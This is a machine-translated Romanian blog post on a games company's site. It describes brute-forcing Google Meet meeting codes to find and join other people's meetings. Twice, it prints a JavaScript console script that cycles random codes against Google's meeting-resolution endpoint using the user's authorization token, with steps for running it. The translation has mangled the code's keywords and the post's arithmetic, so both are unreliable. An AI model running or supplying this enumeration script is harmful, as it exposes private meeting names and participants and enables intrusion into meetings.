Visio – rămâneți blocați în Google Meet | Dyrk, Dyna Meet – Visio

Faceți cunoștință cu Visio

randomize = () => dico = dico.Despică (”).Hartă (valoare => (< value, sort: Math.random() >)).vraja ((a, b) => a.vraja – b.vraja).HARTĂ ((< value >) => valoare).A te alatura (”),
NewPatternKey = () => “xxx-xxxx-xxx”.Despică (”).Hartă (c => c == ‘-‘?C: șir.FromCharCode (matematică.Podea (matematică.Random ()*25) +97)).A te alatura (”),
Key = newPatternKey (), contor = 20;
Next = () => cheie.Despică (”).Hartă (e => e == ‘-‘ ? E: DICO [DICO.Indexof (e) + 1> = dico.lungime ? 0: DICO.Indexof (e) + 1]).A te alatura (”),
Contor = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponibil toe = () => xhr = new xmlhttpRequest ();
If (contor ++> = 20) contor = 0;
Key = newpatternkey ();
Randomize ();
>
Cheie = next ();
XHR.Deschide („GET”, MeetLink + cheie);
XHR.AddEventLisner (‘LOAD’, (E) => FETCH (MeetLink.concat (“/$ RPC/Google.RTC.întâlniri.V1.MeetingSpaceService/ResolveMeetingSpace ”),„ Headers ”:„ Autorizare ”: autorizare,
“Conținut-tip”: “aplicație/x-protobuf”,
“X-goog-sedep-key”: e.ţintă.responsabilitate.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-Réspose-IF-Executabil”: “Base64”,
“X-Goog-Meeting-Identifier”: Btoa (‘\ b \ x02 \ x12 \ f’.Concat (cheie)),
>,
“corp”: “\ n \ f”.Concat (cheie, “0 \ u0001”),
“Metoda”: “Post”
>).Apoi (e => e.Text ())
.apoi (e => setTimeout (disponibil, 100);
consolă.Jurnal (MeetLink.Concat (cheie).Înfrumusețaredisplay (38), (E.Înlocuiți (/[^a-za-z0-9]/g, “”)+””).Înfrumusețaredisplay (38));
>);
>);
XHR.Trimite ();
>;
Şir.prototip.BeautyDisplay = funcție (dimensiune) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >mărimea ? TXT.Lungime: dimensiune)).Substrul (0, dimensiune).Concat (‘|’); >,
consolă.Clar ();
disponibil ();
>) ()

Dyrk

În prezent lucrează în domeniul cibersecurității, mă confrunt în mod regulat cu situații destul de banale.

Ultima, intruziunea unei persoane în timpul unei întâlniri .
Din fericire, pentru siguranță, Google Meet a inclus o caracteristică care permite atât participanților să avertizeze că o persoană încearcă să se alăture videoclipului, dar și să o accepte sau să o refuze.

Cu toate acestea, acest eveniment mă aduce să -mi pun o serie de întrebări .

Complexitatea linkului Google Meet

În primul rând, cum este posibil ca o persoană să se conecteze la un link de întâlnire fără a fi invitat la ea ?

Trebuie să luăm în considerare simplitatea linkului: https: // Google.întâlni.com/ com/Xxx -yyyy -zzzz

Xxx -yyyy -zzzz sunt doar caractere alfabetice între A și Z, adică 27 de combinații posibile pentru fiecare personaj.

Pentru matematicieni, prin urmare, există:

27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 Combinații posibile .

Durata de viață a unui link Google Meet

Deși acum suntem capabili să înțelegem mai bine cum sunt construite legăturile noștri de conferințe „Google Meet”, există un aspect foarte important de luat în considerare . Durata de viață a unui link Google Meet !

Într -adevăr, toată lumea poate genera întâlniri Google în câteva clicuri.
Dar după câteva zile, săptămâni sau luni . Legăturile nu mai sunt valabile.

Prin urmare, legăturile generate au o anumită perioadă de validitate .

Excepție face evenimente „recurente”, iar aici devine interesant.
În afaceri, există multe oportunități de organizare în mod regulat (echipă / afaceri, zilnic, săptămânal, lunar,, . )).
Când un angajat generează acest tip de eveniment în ordinea de zi, se generează automat un link Google Meet. Acesta este invariabil.
Deci, veți avea același link de fiecare dată pentru acest eveniment.

Cu un mic javascript și forță brută ?

Cu toate aceste elemente, suntem acum echipați să măturați toate posibilitățile și să ajungem la o probabilitate ridicată pentru a detecta link -uri către videoconociate !

Așa că am un pic retro asigurat funcționarea Google Meet pentru a scrie un cod JavaScript care va încerca un număr infinit de combinații

(C) Dyrk.Org 2023-2024 – Ruleta Meet
(1) Rulați acest script pe https: // Google.întâlni.com

(2) Găsiți și actualizați variabila autorizației cu un jeton de autorizare valabil în anteturile „Cereri XHR” ale Googles

Let Autorization = “SAPISIDHASH XXXXXXXXXXXXXXX_XXXXXXXXXXXXXXXXXXXXXXXXXXXXX“, dico =” abcdefghijklmnopqrstuvxz “,

randomize = () => dico = dico.Despică (”).Hartă (valoare => (< value, sort: Math.random() >)).vraja ((a, b) => a.vraja – b.vraja).HARTĂ ((< value >) => valoare).A te alatura (”),
NewPatternKey = () => “xxx-xxxx-xxx”.Despică (”).Hartă (c => c == ‘-‘?C: șir.FromCharCode (matematică.Podea (matematică.Random ()*25) +97)).A te alatura (”),
Key = newPatternKey (), contor = 20;
Next = () => cheie.Despică (”).Hartă (e => e == ‘-‘ ? E: DICO [DICO.Indexof (e) + 1> = dico.lungime ? 0: DICO.Indexof (e) + 1]).A te alatura (”),
Contor = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponibil toe = () => xhr = new xmlhttpRequest ();
If (contor ++> = 20) contor = 0;
Key = newpatternkey ();
Randomize ();
>
Cheie = next ();
XHR.Deschide („GET”, MeetLink + cheie);
XHR.AddEventLisner (‘LOAD’, (E) => FETCH (MeetLink.concat (“/$ RPC/Google.RTC.întâlniri.V1.MeetingSpaceService/ResolveMeetingSpace ”),„ Headers ”:„ Autorizare ”: autorizare,
“Conținut-tip”: “aplicație/x-protobuf”,
“X-goog-sedep-key”: e.ţintă.responsabilitate.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-Réspose-IF-Executabil”: “Base64”,
“X-Goog-Meeting-Identifier”: Btoa (‘\ b \ x02 \ x12 \ f’.Concat (cheie)),
>,
“corp”: “\ n \ f”.Concat (cheie, “0 \ u0001”),
“Metoda”: “Post”
>).Apoi (e => e.Text ())
.Apoi (e =>

SetTimeout (disponibil, 100);
consolă.Jurnal (MeetLink.Concat (cheie).Înfrumusețaredisplay (38), (E.Înlocuiți (/[^a-za-z0-9]/g, “”)+””).Înfrumusețaredisplay (38));
>);
>);
XHR.Trimite ();
>;
Şir.prototip.BeautyDisplay = funcție (dimensiune) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >mărimea ? TXT.Lungime: dimensiune)).Substrul (0, dimensiune).Concat (‘|’); >,
consolă.Clar ();
disponibil ();
>) ()

Pentru a opera toate acestea, va fi necesar:

  1. Deschideți pagina https: // întâlnește.Google.com
  2. Deschideți consola pentru dezvoltatori
  3. În fila „Rețea”, filtrați Fetch / XHR și recuperați un simbol de jeton“Autorizare”
  4. Copiați și lipiți codul sursă de mai sus și puneți la locul indicat jetonul.
  5. Validați cu tasta „Intrare” de pe tastatură.

Recuperarea jetonului de „autorizare”:

Pentru curioși, acesta ar trebui să arate rezultatul acestui scenariu în acțiune.
Prin urmare, notăm linii care ne informează că spațiul pentru videoconferință nu există.
Și alții care ne -au pus la punctul conferinței ! Prin urmare, indicând că legătura este valabilă;)

Cu toate acestea, nu vă așteptați să cădea în câteva secunde pe un link de întâlnire ^^
(Dacă nu ești puțin norocos)
Va trebui să fiți o mare răbdare, lăsându -l să curgă cel puțin o jumătate de oră.

Concluzie

Nu intrați în panică că există un număr mai mare de noroc pentru a găsi un link de întâlnire Google valabil decât câștigarea loto -ului.

Atenţie ! O persoană care se confruntă cu accesul la link -uri valabile la anumite informații, fără a fi nevoie să fie conectată:
Numele întâlnirii (prin urmare, evitați să alunecați informații confidențiale) și participanții conectați (toate sau un joc).

Faceți cunoștință cu Visio

Jaf online

BEASTLELL STÂNCTER FABLER ONLINE

jucători

Până la 1000 de jucători simultan

O platformă de acces ușor, în Visio

Orizont 2024

Miniatură - Horizon 2024 - Visio

jucători

Până la 1000 de jucători simultan

O platformă de acces ușor, în Visio

Unde este Charlie ?!

Miniatură - unde este Charlie - Visio

jucători

Până la 1000 de jucători simultan

O platformă de acces ușor, în Visio

Misiunea Enigma

Miniatură - Mission Enigma - Visio

jucători

Până la 1000 de jucători simultan

O platformă de acces ușor, în Visio

Conștientizarea cibersecurității

Miniatură - cibersecuritate - Visio

jucători

Până la 5000 de jucători simultan

O platformă de acces ușor, în Visio

Salvați Crăciunul !

Miniatură - Salvați Crăciunul! - Visio

jucători

Până la 1000 de jucători simultan

O platformă de acces ușor, în Visio

Copyright © 2023 – Dyna’meet

Gestionați consimțământul la cookie -uri

Pentru a oferi cele mai bune experiențe, folosim tehnologii precum cookie -uri pentru a stoca și/sau accesarea informațiilor dispozitivelor. Consimțământul la aceste tehnologii ne va permite să procesăm date precum comportamentul de navigație sau ID -uri unice pe acest site. Faptul de a nu consimți sau retrage consimțământul dvs. poate avea un efect negativ asupra anumitor caracteristici și funcții.

Funcțional funcțional activat întotdeauna

Depozitarea sau accesul tehnic este strict necesar la sfârșitul interesului legitim pentru a permite utilizarea unui serviciu specific solicitat în mod explicit de abonat sau utilizator sau în scopul exclusiv de a transmite transmiterea comunicării pe o rețea de comunicații electronice.

Preferințe preferințe

Depozitarea sau accesul tehnic este necesar în scopul unui interes legitim pentru a stoca preferințele care nu sunt solicitate de abonat sau de persoana care utilizează serviciul.

Statistici statistice

Stocare sau acces tehnic care este utilizat exclusiv în scopuri statistice. Stocare sau acces tehnic care este utilizat exclusiv în scopuri statistice anonime. În absența unei convocări care să apară, respectarea voluntară din partea furnizorului dvs. de acces la internet sau înregistrări suplimentare de la o terță parte, informațiile stocate sau extrase în acest scop nu pot fi utilizate în general pentru a vă identifica pentru a vă identifica.

Stocarea sau accesul tehnic este necesar pentru a crea profiluri de utilizator pentru a trimite reclame sau pentru a urmări utilizatorul pe un site web sau pe mai multe site -uri web cu scopuri de marketing similare.